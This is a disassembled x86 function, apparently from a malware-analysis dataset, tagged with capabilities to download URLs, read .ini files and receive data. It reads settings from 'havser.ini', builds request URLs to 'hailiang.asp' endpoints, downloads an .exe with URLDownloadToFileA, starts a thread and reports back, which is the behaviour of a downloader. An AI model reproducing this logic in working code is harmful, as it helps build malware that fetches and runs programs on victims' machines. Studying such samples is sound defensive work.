Function at 0x402850
Capabilities:
Download url
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4084a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x200
mov eax, dword [0x40cdf8]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push edi
push eax
lea ecx, [esp + 0x2a]
push 2
push ecx
push 0x40c180
push str.isfile
push str.file
mov byte [esp + 0x3e], 0
mov byte [esp + 0x3f], 0
call esi
lea edx, [esp + 0x26]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
test eax, eax
je 0x402fe6
mov ecx, 0xd
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x18]
mov dword [esp + 0x58], 1
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_1
push 1
lea eax, [esp + 0x1c]
push 0x40c768
push eax
mov dword [esp + 0x224], 0
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x30]
push 0x40c760
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x18]
mov byte [esp + 0x218], 1
push ecx
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CString::operator_1
mov edx, dword [0x40cdf8]
mov ecx, dword [esp + 0x30]
push edx
lea eax, [esp + 0x6c]
push 0x38
push eax
push 0x40c180
push ecx
push str.file
call esi
lea edx, [esp + 0x68]
lea ecx, [esp + 0x28]
push edx
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x28]
mov ebx, dword [sym.imp.MSVCRT.dll__mbscmp]
push 0x40c180
push eax
mov byte [esp + 0x220], 2
mov byte [esp + 0x1b], 1
call ebx
add esp, 8
test eax, eax
je 0x402fb0
mov ecx, 0xd
xor eax, eax
lea edi, [esp + 0xa1]
mov byte [esp + 0xa0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40ccec
lea ecx, [esp + 0x40]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
push str.havser.ini
lea ecx, [esp + 0x40]
mov byte [esp + 0x21c], 3
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x1c]
mov ebp, 1
call sub.MFC42.DLL_CString::CString_1
push ebp
lea ecx, [esp + 0x20]
push 0x40c768
push ecx
mov byte [esp + 0x224], 4
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x14]
push str.ofile
call sub.MFC42.DLL_CString::CString_2
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x14]
push edx
mov byte [esp + 0x21c], 5
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0xa4]
push 0x38
push ecx
push 0x40c180
push edx
push str.ofile
call esi
lea eax, [esp + 0xa0]
lea ecx, [esp + 0x38]
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x38]
push 0x40c180
push ecx
mov byte [esp + 0x220], 6
call ebx
add esp, 8
test eax, eax
je 0x402ae9
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x38]
push edx
push eax
call ebx
add esp, 8
test eax, eax
jne 0x402a66
mov byte [esp + 0x13], al
inc ebp
lea ecx, [esp + 0x1c]
push ebp
push 0x40c768
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x14]
push str.ofile
call fcn.00407d58
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x14]
push edx
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0xa4]
push 0x38
push ecx
push 0x40c180
push edx
push str.ofile
call esi
lea eax, [esp + 0xa0]
lea ecx, [esp + 0x38]
push eax
call fcn.00407d58
mov ecx, dword [esp + 0x38]
push 0x40c180
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x402a4f
cmp byte [esp + 0x13], 1
jne 0x402eeb
mov ecx, 0xd
xor eax, eax
lea edi, [esp + 0xd9]
mov byte [esp + 0xd8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40c760
lea ecx, [esp + 0x48]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea edx, [esp + 0x18]
lea ecx, [esp + 0x44]
push edx
mov byte [esp + 0x21c], 7
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [0x40cdf8]
mov edx, dword [esp + 0x44]
push eax
lea ecx, [esp + 0xdc]
push 0x38
push ecx
push 0x40c180
push edx
push str.file
call esi
push 0x40ce00
lea ecx, [esp + 0x4c]
call fcn.00407d34
push str._ifhailiang.asp_actionsofturldz
lea ecx, [esp + 0x4c]
mov byte [esp + 0x21c], 8
call sub.MFC42.DLL_CString::operator
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40c724
lea ecx, [esp + 0x38]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x21c], 9
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [0x40cdf8]
mov eax, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x114]
push 0x80
push edx
push 0x40c180
push eax
push str.file
call esi
lea ecx, [esp + 0x110]
push ecx
lea ecx, [esp + 0x4c]
call sub.MFC42.DLL_CString::operator
push 0x40c184
lea ecx, [esp + 0x58]
call sub.MFC42.DLL_CString::CString_2
mov edx, dword [esp + 0x54]
push 0x40c184
push edx
mov byte [esp + 0x220], 0xa
call ebx
add esp, 8
test eax, eax
jne 0x402ea5
push 0x40ccec
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_2
push 0x40c720
lea ecx, [esp + 0x30]
mov byte [esp + 0x21c], 0xb
call sub.MFC42.DLL_CString::operator
lea eax, [esp + 0x34]
lea ecx, [esp + 0x2c]
push eax
call sub.MFC42.DLL_CString::operator_1
push str..exe
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x2c]
push 0
push 0
lea edx, [esp + 0x118]
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x191]
mov byte [esp + 0x190], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.xiazaiyanshi
lea ecx, [esp + 0x44]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x18]
lea ecx, [esp + 0x40]
push eax
mov byte [esp + 0x21c], 0xc
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [0x40cdf8]
mov eax, dword [esp + 0x40]
push ecx
lea edx, [esp + 0x194]
push 0x80
push edx
push 0x40c180
push eax
push str.file
call esi
push 8
call sub.MFC42.DLL_operatornew
mov edi, eax
add esp, 4
mov dword [esp + 0x64], edi
test edi, edi
mov byte [esp + 0x218], 0xd
je 0x402cf1
lea ecx, [edi + 4]
call sub.MFC42.DLL_CString::CString_1
jmp 0x402cf3
xor edi, edi
lea ecx, [esp + 0x190]
mov byte [esp + 0x218], 0xc
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
lea edx, [esp + 0x2c]
lea ecx, [edi + 4]
mov dword [edi], eax
push edx
call fcn.00407d22
push 0
push 0
push 0
push 0
push edi
push 0x401980
call sub.MFC42.DLL_AfxBeginThread
push str.ofile
lea ecx, [esp + 0x18]
call fcn.00407d58
push ebp
lea eax, [esp + 0x20]
push 0x40c768
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push edx
push eax
push ecx
push str.ofile
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
lea ecx, [esp + 0x4c]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x50]
mov byte [esp + 0x218], 0xe
call fcn.00403010
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x50]
push edx
mov byte [esp + 0x21c], 0xf
call fcn.00403050
push eax
lea ecx, [esp + 0x50]
mov byte [esp + 0x21c], 0x10
call fcn.00407d22
lea ecx, [esp + 0x5c]
mov byte [esp + 0x218], 0xf
call sub.MFC42.DLL_CString::CString
push 0x40ce00
lea ecx, [esp + 0x24]
call fcn.00407d34
push str._hailiang.asp_actionsoftmac
lea ecx, [esp + 0x24]
mov byte [esp + 0x21c], 0x11
call sub.MFC42.DLL_CString::operator
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x20]
push eax
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::operator_1
push str.url
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::operator
lea edx, [esp + 0x110]
lea ecx, [esp + 0x20]
push edx
call sub.MFC42.DLL_CString::operator
push ecx
lea eax, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00407d34
lea ecx, [esp + 0x64]
push ecx
call fcn.00401630
add esp, 8
lea ecx, [esp + 0x60]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x218], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x50]
mov byte [esp + 0x218], 0xe
call fcn.00403040
lea ecx, [esp + 0x4c]
mov byte [esp + 0x218], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x40]
mov byte [esp + 0x218], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x218], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x54]
mov byte [esp + 0x218], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0x218], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0x218], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0x218], 6
call sub.MFC42.DLL_CString::CString
jmp 0x402ef0
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x58]
lea edx, [esp + 0x18]
inc eax
push eax
push 0x40c768
push edx
mov dword [esp + 0x64], eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x30]
push 0x40c760
call fcn.00407d58
lea eax, [esp + 0x18]
lea ecx, [esp + 0x30]
push eax
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [0x40cdf8]
mov eax, dword [esp + 0x30]
push ecx
lea edx, [esp + 0x6c]
push 0x38
push edx
push 0x40c180
push eax
push str.file
call esi
lea ecx, [esp + 0x68]
push ecx
lea ecx, [esp + 0x2c]
call fcn.00407d58
lea ecx, [esp + 0x38]
mov byte [esp + 0x218], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x218], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x218], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3c]
mov byte [esp + 0x218], 2
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x28]
push 0x40c180
push edx
call ebx
add esp, 8
test eax, eax
jne 0x402973
lea ecx, [esp + 0x28]
mov byte [esp + 0x218], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x218], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x218], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x210]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x20c
ret